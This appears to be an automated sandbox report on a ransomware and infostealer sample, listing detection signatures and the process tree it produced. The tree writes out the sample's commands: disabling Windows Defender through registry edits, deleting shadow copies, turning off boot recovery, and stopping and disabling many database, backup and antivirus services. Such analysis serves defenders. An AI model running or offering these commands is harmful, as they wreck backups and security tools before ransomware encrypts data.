Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 17:32
General
- Target 2026-08-04_f106d5e0809343db643f8256a608e8bb_coinminer_dosia_dragonforce_fabookie_glassworm_hacktools.exe
- Size 21.5MB
- Sample260804-v4snyaed59
- SHA256 aeab2139fe3fe9c84db9dc1bd7c87cbe4377653f4f877858b648e1063fddc36d
Score
10/10
Malware Config
Signatures
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
- mimikatz is an open source tool to dump credentials on Windows 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
- Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
- Detects executables referencing virtualization MAC addresses 1 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
- Renames multiple (5965) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Possible privilege escalation attempt 64 IoCs
- Disables service(s) 3 TTPs
- Executes dropped EXE 3 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Enumerates connected drives 3 TTPs 21 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 24 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 6 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 39 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 64 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_f106d5e0809343db643f8256a608e8bb_coinminer_dosia_dragonforce_fabookie_glassworm_hacktools.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_f106d5e0809343db643f8256a608e8bb_coinminer_dosia_dragonforce_fabookie_glassworm_hacktools.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\ProgramData\KalinkaCrypt\kalinkacrypt.exe2⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\ProgramData\KalinkaCrypt\kalinkacrypt.exe2⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\cmd.execmd /c start /min "" C:\Users\Admin\AppData\Local\Temp\~d60300.bat2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\~d60300.bat3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 34⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 19084⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 44⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\ProgramData\KalinkaCrypt\kalinkacrypt.exeC:\ProgramData\KalinkaCrypt\kalinkacrypt.exe1⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\TEMP\kc_tor_fb\tor.exeC:\Windows\TEMP\kc_tor_fb\tor.exe -f C:\Windows\TEMP\kc_tor_fb_data\torrc --DataDirectory C:\Windows\TEMP\kc_tor_fb_data2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\wmic.exewmic shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet stop OracleServiceORCL /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OracleServiceORCL /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQL$VEEAMSQL2012 /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQLSERVER /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MySQL80 /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL80 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQL$MSSQLSERVER /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$MSSQLSERVER /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MySQL57 /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL57 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQL$VEEAMSQL2012 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MySQL56 /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL56 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop postgresql-x64-14 /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop postgresql-x64-14 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop SQLSERVERAGENT /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQLSERVER start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config OracleServiceORCL start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop SQLBrowser /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQL$SQLEXPRESS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MongoDB /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MongoDB /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop ReportServer /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop SQLWriter /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLWriter /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop SQLAgent$VEEAMSQL2012 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MsDtsServer /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQL$MSSQLSERVER start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MySQL57 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MySQL80 start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop postgresql-x64-13 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop postgresql-x64-13 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop SQLAgent$SQLEXPRESS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop OracleServiceXE /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OracleServiceXE /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQLServerOLAPService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MySQL /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MySQL56 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop postgresql-x64-12 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop postgresql-x64-12 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config postgresql-x64-14 start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config SQLSERVERAGENT start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config SQLAgent$SQLEXPRESS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MSSQL$SQLEXPRESS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config postgresql-x64-13 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MongoDB start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config SQLBrowser start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config postgresql-x64-12 start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config ReportServer start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MSSQLServerOLAPService start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config SQLWriter start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config OracleServiceXE start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MsDtsServer start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config MySQL start= disabled2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLAgent$VEEAMSQL2012 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlservr.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlwriter.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /FI "IMAGENAME eq sql*"2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlbrowser.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlagent.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlceip.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlps.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SQLAGENT.EXE2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlservr2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet stop SQLAgent$VEEAMSQL2012 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLAgent$VEEAMSQL2012 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MSSQLSERVER /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQLSERVER start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MSSQL$SQLEXPRESS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQL$SQLEXPRESS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MSSQL$MSSQLSERVER /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$MSSQLSERVER /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQL$MSSQLSERVER start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop SQLWriter /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLWriter /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLWriter start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop SQLBrowser /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLBrowser /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLBrowser start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop SQLSERVERAGENT /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLSERVERAGENT start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop SQLAgent$SQLEXPRESS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SQLAgent$SQLEXPRESS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MSSQLServerOLAPService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQLServerOLAPService start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop MsDtsServer /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop ReportServer /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config ReportServer start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MSSQL$VEEAMSQL2012 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MSSQL$VEEAMSQL2012 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MsDtsServer start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop YooIT /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config YooIT start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop AcronisAgent /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config AcronisAgent start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop ARSM /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ARSM /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config ARSM start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop backup /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop backup /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config backup start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BackupExecAgentAccelerator /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecAgentAccelerator start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BackupExecAgentBrowser /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecAgentBrowser start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop BackupExecDiveciMediaService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecDiveciMediaService start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop BackupExecJobEngine /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecJobEngine start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop BackupExecManagementService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecManagementService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BackupExecRPCService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecRPCService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BackupExecVSSProvider /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config BackupExecVSSProvider start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop CAARCUpdateSvc /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config CAARCUpdateSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop CASAD2DWebSvc /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config CASAD2DWebSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop ccEvtMgr /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config ccEvtMgr start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop ccSetMgr /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config ccSetMgr start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop Culserver /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Culserver /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config Culserver start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop dbeng8 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop dbeng8 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config dbeng8 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop dbsrv12 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop dbsrv12 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config dbsrv12 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop DefWatch /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config DefWatch start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop GxBlr /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxBlr /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config GxBlr start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop GxCIMgr /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCIMgr /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config GxCIMgr start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop SavRoam /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop GxVss /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVss /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop veeam /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop msexchange /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msexchange /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop msmdsrv /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msmdsrv /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop vss /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MVarmor64 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVarmor64 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop memtas /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop memtas /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MVArmor /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVArmor /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop svc$ /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop svc$ /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop VSNAPVSS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop wrapper /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wrapper /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop WSBExchange /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WSBExchange /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config SavRoam start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop tomcat6 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop tomcat6 /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop GxFWD /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxFWD /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop QBIDPService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamNFSSvc /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop stc_raw_agent /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop YooBackup /y2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop GxCVD /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCVD /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop QBVSS /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBVSS /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop vmware-converter /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vmware-converter /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop QBFCService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamDeploymentService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config veeam start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config vss start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop sophos /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵
-
-
-
